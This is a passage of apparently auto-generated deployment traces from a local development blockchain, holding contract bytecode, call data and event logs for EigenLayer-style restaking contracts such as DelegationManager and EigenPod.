038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b60006020828403121561556857600080fd5b81356149b881614ea9565b80516001600160a01b03908116835260208083015182169084015260408083015190911690830152606080820151908301526080808201516000916155bf9085018263ffffffff169052565b5060a082015160e060a08501526155d960e0850182615206565b905060c083015184820360c086015261120f828261510e565b6020815260006149b86020830184615573565b60006020828403121561561757600080fd5b5051919050565b600082601f83011261562f57600080fd5b815161563d614cd582614c93565b8082825260208201915060208360051b86010192508583111561565f57600080fd5b602085015b83811015614d22578051835260209283019201615664565b6000806040838503121561568f57600080fd5b82516001600160401b038111156156a557600080fd5b8301601f810185136156b657600080fd5b80516156c4614cd582614c93565b8082825260208201915060208360051b8501019250878311156156e657600080fd5b6020840193505b8284101561571157835161570081614837565b8252602093840193909101906156ed565b8095505050505060208301516001600160401b0381111561573157600080fd5b6151048582860161561e565b634e487b7160e01b600052601160045260246000fd5b808201808211156109c2576109c261573d565b818103818111156109c2576109c261573d565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6000600182016157af576157af61573d565b5060010190565b828152604060208201526000614e7e6040830184615573565b6000602082840312156157e157600080fd5b81356149b881614c76565b80546001600160a01b0319166001600160a01b0392909216919091179055565b813561581781614837565b61582181836157ec565b5060018101602083013561583481614837565b61583e81836157ec565b50604083013561584d81614c76565b815463ffffffff60a01b191660a09190911b63ffffffff60a01b161790555050565b60006109c23683614d8a565b6020808252606e9082015260008051602061599983398151915260408201527f645769746864726177616c3a207769746864726177616c44656c6179426c6f6360608201527f6b7320706572696f6420686173206e6f74207965742070617373656420666f7260808201526d207468697320737472617465677960901b60a082015260c00190565b828152604060208201526000825180604084015260005b81811015615937576020818601810151606086840101520161591a565b506000606082850101526060601f19601f8301168401019150509392505050565b60006020828403121561596a57600080fd5b81516001600160e01b0319811681146149b857600080fd5b634e487b7160e01b600052602160045260246000fdfe44656c65676174696f6e4d616e616765722e5f636f6d706c6574655175657565a2646970667358221220d8f8a7ae09f40353d16d290ba75d56306b46ad94ae3137a6fa1888bdf0b3380664736f6c634300081c0033","nonce":12,"gas_used":5054169},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x4d1ed9","logs":[{"address":"0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000480000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000002000000000000000000000000400000000000"},"block_hash":"0x827e43b8d215ee7d37698d40bc036278f8eb90f0355ff831dd25fd32ebd22d88","block_number":8},{"info":{"transaction_hash":"0x70bb1d58f6521a3b3c19dd151c65f4903e57a4c0979f69d1d5d1ebc8e9929cfc","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x5fbdb2315678afecb367f032d93f642f64180aa3","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":145433,"gas_limit":223699,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x5fbdb2315678afecb367f032d93f642f64180aa3","address":"0x0165878a594ca255338adfa4d48449f69242eb8f","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef2860000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":138898,"gas_limit":213819,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x0165878a594ca255338adfa4d48449f69242eb8f","address":"0x0b306bf915c4d645ff596e518faf3f9669b97016","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xd4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e8","output":"0x","gas_used":125780,"gas_limit":197782,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb","0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xaf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c20"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3},{"Log":4},{"Log":5},{"Log":6}]}],"exit":"Stop","out":"0x","nonce":23,"gas_used":169225},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x29509","logs":[{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016"],"data":"0x"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d","0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb","0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4"],"data":"0x"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0xaf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c20"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06"],"data":"0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8"},{"address":"0x0165878a594ca255338adfa4d48449f69242eb8f","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000040000008400000000000000000800000000000000010000000000000000000000000000000000000000000100000000000000000041000000000000000000400000402000001002000000000000000000000000000020000020000000000000300800800000004000000000000000000000000440000000100000000000000000000000000000000000080000000000000100000000000000000000000000000000400000000000000000000000000000000000000000024400000200000000000040000000000002008002000000000000020000000000000000100400800000400000000000000000000000000000001400200"},"block_hash":"0xe7a76d4713a9bae463c98e99f3257ac11fad6d6ea9a9c6551401c4c7887306a0","block_number":15},{"info":{"transaction_hash":"0x5ba351e665190520571a98a051e13db9c60b8a479ca549dc00ac2cb732b185e3","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0xde0b6b3a7640000","data":"0x4223d5510000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0","output":"0x","gas_used":31717,"gas_limit":32066,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","address":"0x809d550fca64d94bd9f66e60752a544199cfac3d","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0xde0b6b3a7640000","data":"0x4223d5510000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0","output":"0x","gas_used":24422,"gas_limit":24422,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x0ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0","0x0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0"],"data":"0x0000000000000000000000000000000000000000000000000de0b6b3a7640000"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x","nonce":57,"gas_used":53149},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xcf9d","logs":[{"address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","topics":["0x0ea46f246ccfc58f7a93aa09bc6245a6818e97b1a160d186afe78993a3b194a0","0x0000000000000000000000007969c5ed335650692bc04293b07f5bf2e7a673c0"],"data":"0x0000000000000000000000000000000000000000000000000de0b6b3a7640000"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000010000000000000000000000000000008000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000100001000"},"block_hash":"0xff099ee7fb6eed816e6994267849530c63bec8e758177f0df2f2a16d9d1d087c","block_number":16},{"info":{"transaction_hash":"0x90f4d6d687fdeeb70ae24526214e277bc35de59aad3771f8613c843ab92031f6","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x610178da211fef7d417bc0e6fed39f05609ad788","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x610178da211fef7d417bc0e6fed39f05609ad788","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x61012060405234801561001157600080fd5b50604051615f0f380380615f0f83398101604081905261003091610163565b6001600160a01b0380861660805284811660a052831660c0526001600160401b0380831660e05281166101005261006561006f565b50505050506101d0565b600054610100900460ff16156100db5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561012d576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461014457600080fd5b50565b80516001600160401b038116811461015e57600080fd5b919050565b600080600080600060a0868803121561017b57600080fd5b85516101868161012f565b60208701519095506101978161012f565b60408701519094506101a88161012f565b92506101b660608701610147565b91506101c460808701610147565b90509295509295909350565b60805160a05160c05160e05161010051615c456102ca600039600081816105b501528181612007015281816120be0152612116015260008181610275015281816125a7015281816125db01528181612c0701528181612c340152818161437a01526143b501526000818161036d01528181610614015281816107a701528181610aef01528181610c3a01528181610dc201528181610f7d0152818161115e0152818161128801528181611459015281816118a601528181611a4401528181611b8301528181611d4501528181611e2f015261312a015260008181610241015261339c0152600081816104520152610e8d0152615c456000f3fe6080604052600436106101855760003560e01c806374cdd798116100d1578063c49074421161008a578063e251ef5211610064578063e251ef5214610563578063e2c8344514610583578063f2882461146105a3578063fe80b087146105d757600080fd5b8063c490744214610503578063c4d66de814610523578063dda3346c1461054357600080fd5b806374cdd7981461044057806387e0d289146104745780639b4e46341461049b578063a50600f4146104ae578063b522538a146104ce578063baa7145a146104ee57600080fd5b806334bea20a1161013e57806358eaee791161011857806358eaee791461038f5780635d3f65b6146103bc5780636fcd0e53146103dc5780637439841f1461040957600080fd5b806334bea20a146103005780633f65cf191461033b5780634665bcda1461035b57600080fd5b80630b18ff66146101db5780630cd4649e146102185780631a5057be1461022f5780631d905d5c146102635780633106ab53146102af5780633474aa16146102e057600080fd5b366101d657346037600082825461019c9190614c64565b90915550506040513481527f6fdd3dbdb173299608c0aa9f368735857c8842b581f8389238bf05bd04b3bf499060200160405180910390a1005b600080fd5b3480156101e757600080fd5b506033546101fb906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561022457600080fd5b5061022d6105fb565b005b34801561023b57600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561026f57600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160401b03909116815260200161020f565b3480156102bb57600080fd5b506034546102d090600160401b900460ff1681565b604051901515815260200161020f565b3480156102ec57600080fd5b50603454610297906001600160401b031681565b34801561030c57600080fd5b506102d061031b366004614c9c565b603560209081526000928352604080842090915290825290205460ff1681565b34801561034757600080fd5b5061022d610356366004614d2f565b610764565b34801561036757600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561039b57600080fd5b506103af6103aa366004614e50565b610ca5565b60405161020f9190614ec9565b3480156103c857600080fd5b50603854610297906001600160401b031681565b3480156103e857600080fd5b506103fc6103f7366004614ed7565b610d0a565b60405161020f9190614ef0565b34801561041557600080fd5b506103af610424366004614ed7565b600090815260366020526040902054600160c01b900460ff1690565b34801561044c57600080fd5b506101fb7f000000000000000000000000000000000000000000000000000000000000000081565b34801561048057600080fd5b5060335461029790600160a01b90046001600160401b031681565b61022d6104a9366004614f44565b610db7565b3480156104ba57600080fd5b5061022d6104c9366004614fbb565b610f64565b3480156104da57600080fd5b506103fc6104e9366004614e50565b6112f0565b3480156104fa57600080fd5b5061022d6113e3565b34801561050f57600080fd5b5061022d61051e366004615070565b61144e565b34801561052f57600080fd5b5061022d61053e36600461509c565b61168b565b34801561054f57600080fd5b5061022d61055e3660046151b8565b611863565b34801561056f57600080fd5b5061022d61057e366004615291565b611a2c565b34801561058f57600080fd5b5061022d61059e366004615070565b611dec565b3480156105af57600080fd5b506102977f000000000000000000000000000000000000000000000000000000000000000081565b3480156105e357600080fd5b506105ed60375481565b60405190815260200161020f565b604051635ac86ab760e01b8152600260048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa158015610663573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068791906153a2565b156106ad5760405162461bcd60e51b81526004016106a4906153c4565b60405180910390fd5b6033546001600160a01b031633146106d75760405162461bcd60e51b81526004016106a490615421565b603454600160401b900460ff16156107015760405162461bcd60e51b81526004016106a490615469565b6034805460ff60401b1916600160401b179055603354610729906001600160a01b0316611fcf565b6033546040516001600160a01b03909116907fca8dfc8c5e0a67a74501c072a3325f685259bebbae7cfd230ab85198a78b70cd90600090a250565b6033546001600160a01b0316331461078e5760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600260048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa1580156107f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081a91906153a2565b156108375760405162461bcd60e51b81526004016106a4906153c4565b603454600160401b900460ff166108af5760405162461bcd60e51b815260206004820152603660248201527f456967656e506f642e686173456e61626c656452657374616b696e673a2072656044820152751cdd185ada5b99c81a5cc81b9bdd08195b98589b195960521b60648201526084016106a4565b85841480156108bd57508382145b61094d5760405162461bcd60e51b815260206004820152605560248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a2076616c696461746f72496e646963657320616e642070726f6f666064820152740e640daeae6e840c4ca40e6c2daca40d8cadccee8d605b1b608482015260a4016106a4565b603354600160a01b90046001600160401b031615806109a2575060335461098c9061098790600160a01b90046001600160401b0316612003565b6120ed565b6001600160401b0316896001600160401b031610155b610a2e5760405162461bcd60e51b815260206004820152605160248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a2070726f6f66206d75737420626520696e207468652065706f63686064820152701030b33a32b91030b1ba34bb30ba34b7b760791b608482015260a4016106a4565b42610a44613f486001600160401b038c16614c64565b1015610acd5760405162461bcd60e51b815260206004820152604c60248201527f456967656e506f642e7665726966795769746864726177616c43726564656e7460448201527f69616c733a207370656369666965642074696d657374616d7020697320746f6f60648201526b0819985c881a5b881c185cdd60a21b608482015260a4016106a4565b60405163d1c64cc960e01b81526001600160401b038a166004820152610b76907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063d1c64cc990602401602060405180830381865afa158015610b3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6291906154b8565b8935610b7160208c018c6154d1565b61213a565b6000805b87811015610c1057610bfc8b8b358b8b85818110610b9a57610b9a615517565b9050602002016020810190610baf919061552d565b8a8a86818110610bc157610bc1615517565b9050602002810190610bd391906154d1565b8a8a88818110610be557610be5615517565b9050602002810190610bf79190615554565b6122c8565b610c069083614c64565b9150600101610b7a565b5060335460405163030b147160e61b81526001600160a01b039182166004820152602481018390527f00000000000000000000000000000000000000000000000000000000000000009091169063c2c51c40906044015b600060405180830381600087803b158015610c8157600080fd5b505af1158015610c95573d6000803e3d6000fd5b5050505050505050505050505050565b600080610ce784848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061278292505050565b600090815260366020526040902054600160c01b900460ff169150505b92915050565b610d326040805160808101825260008082526020820181905291810182905290606082015290565b600082815260366020908152604091829020825160808101845281546001600160401b038082168352600160401b8204811694830194909452600160801b810490931693810193909352906060830190600160c01b900460ff166002811115610d9d57610d9d614e91565b6002811115610dae57610dae614e91565b90525092915050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614610dff5760405162461bcd60e51b81526004016106a49061559d565b346801bc16d674ec80000014610e8b5760405162461bcd60e51b8152602060048201526044602482018190527f456967656e506f642e7374616b653a206d75737420696e697469616c6c792073908201527f74616b6520666f7220616e792076616c696461746f72207769746820333220656064820152633a3432b960e11b608482015260a4016106a4565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663228951186801bc16d674ec8000008787610ece61287c565b8888886040518863ffffffff1660e01b8152600401610ef296959493929190615667565b6000604051808303818588803b158015610f0b57600080fd5b505af1158015610f1f573d6000803e3d6000fd5b50505050507f606865b7934a25d4aed43f6cdb426403353fa4b3009c4d228407474581b01e238585604051610f559291906156b6565b60405180910390a15050505050565b604051635ac86ab760e01b8152600360048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa158015610fcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff091906153a2565b1561100d5760405162461bcd60e51b81526004016106a4906153c4565b868414801561101b57508382145b6110a45760405162461bcd60e51b815260206004820152604e60248201527f456967656e506f642e76657269667942616c616e6365557064617465733a207660448201527f616c696461746f72496e646963657320616e642070726f6f6673206d7573742060648201526d0c4ca40e6c2daca40d8cadccee8d60931b608482015260a4016106a4565b426110ba613f486001600160401b038c16614c64565b101561113c5760405162461bcd60e51b815260206004820152604560248201527f456967656e506f642e76657269667942616c616e6365557064617465733a207360448201527f70656369666965642074696d657374616d7020697320746f6f2066617220696e606482015264081c185cdd60da1b608482015260a4016106a4565b60405163d1c64cc960e01b81526001600160401b038a1660048201526111e0907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063d1c64cc990602401602060405180830381865afa1580156111ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d191906154b8565b8735610b7160208a018a6154d1565b6000805b8881101561127a576112668b8b8b8481811061120257611202615517565b9050602002016020810190611217919061552d565b8a358a8a8681811061122b5761122b615517565b905060200281019061123d91906154d1565b8a8a8881811061124f5761124f615517565b90506020028101906112619190615554565b6128c1565b61127090836156ca565b91506001016111e4565b506033546001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081169163c2c51c4091166112bf633b9aca00856156f2565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401610c67565b6113186040805160808101825260008082526020820181905291810182905290606082015290565b6036600061135b85858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061278292505050565b81526020808201929092526040908101600020815160808101835281546001600160401b038082168352600160401b8204811695830195909552600160801b81049094169281019290925290916060830190600160c01b900460ff1660028111156113c8576113c8614e91565b60028111156113d9576113d9614e91565b9052509392505050565b6033546001600160a01b0316331461140d5760405162461bcd60e51b81526004016106a490615421565b603454600160401b900460ff16156114375760405162461bcd60e51b81526004016106a490615469565b60335461144c906001600160a01b0316611fcf565b565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146114965760405162461bcd60e51b81526004016106a49061559d565b6114a4633b9aca0082615738565b1561152e5760405162461bcd60e51b815260206004820152604e60248201527f456967656e506f642e776974686472617752657374616b6564426561636f6e4360448201527f6861696e4554483a20616d6f756e74576569206d75737420626520612077686f60648201526d1b194811ddd95a48185b5bdd5b9d60921b608482015260a4016106a4565b600061153e633b9aca008361574c565b6034549091506001600160401b0390811690821611156115f75760405162461bcd60e51b815260206004820152606260248201527f456967656e506f642e776974686472617752657374616b6564426561636f6e4360448201527f6861696e4554483a20616d6f756e74477765692065786365656473207769746860648201527f6472617761626c6552657374616b6564457865637574696f6e4c617965724777608482015261656960f01b60a482015260c4016106a4565b603480548291906000906116159084906001600160401b0316615760565b92506101000a8154816001600160401b0302191690836001600160401b03160217905550826001600160a01b03167f8947fd2ce07ef9cc302c4e8f0461015615d91ce851564839e91cc804c2f49d8e8360405161167491815260200190565b60405180910390a26116868383612d9f565b505050565b600054610100900460ff16158080156116ab5750600054600160ff909116105b806116c55750303b1580156116c5575060005460ff166001145b6117285760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016106a4565b6000805460ff19166001179055801561174b576000805461ff0019166101001790555b6001600160a01b0382166117be5760405162461bcd60e51b815260206004820152603460248201527f456967656e506f642e696e697469616c697a653a20706f644f776e65722063616044820152736e6e6f74206265207a65726f206164647265737360601b60648201526084016106a4565b603380546001600160a01b0384166001600160a01b031990911681179091556034805460ff60401b1916600160401b1790556040517fca8dfc8c5e0a67a74501c072a3325f685259bebbae7cfd230ab85198a78b70cd90600090a2801561185f576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b6033546001600160a01b0316331461188d5760405162461bcd60e51b81526004016106a490615421565b604051635ac86ab760e01b8152600560048201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa1580156118f5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061191991906153a2565b156119365760405162461bcd60e51b81526004016106a4906153c4565b82518451146119c15760405162461bcd60e51b815260206004820152604b60248201527f456967656e506f642e7265636f766572546f6b656e733a20746f6b656e4c697360448201527f7420616e6420616d6f756e7473546f5769746864726177206d7573742062652060648201526a0e6c2daca40d8cadccee8d60ab1b608482015260a4016106a4565b60005b8451811015611a2557611a1d838583815181106119e3576119e3615517565b60200260200101518784815181106119fd576119fd615517565b60200260200101516001600160a01b0316612da99092919063ffffffff16565b6001016119c4565b5050505050565b604051635ac86ab760e01b81526004808201819052907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690635ac86ab790602401602060405180830381865afa158015611a93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ab791906153a2565b15611ad45760405162461bcd60e51b81526004016106a4906153c4565b8386148015611ae257508588145b8015611aed57508782145b611b61576040805162461bcd60e51b81526020600482015260248101919091527f456967656e506f642e766572696679416e6450726f636573735769746864726160448201527f77616c733a20696e70757473206d7573742062652073616d65206c656e67746860648201526084016106a4565b60405163d1c64cc960e01b81526001600160401b038c166004820152611c05907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063d1c64cc990602401602060405180830381865afa158015611bd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf691906154b8565b8b35610b7160208e018e6154d1565b60408051808201909152600080825260208201526000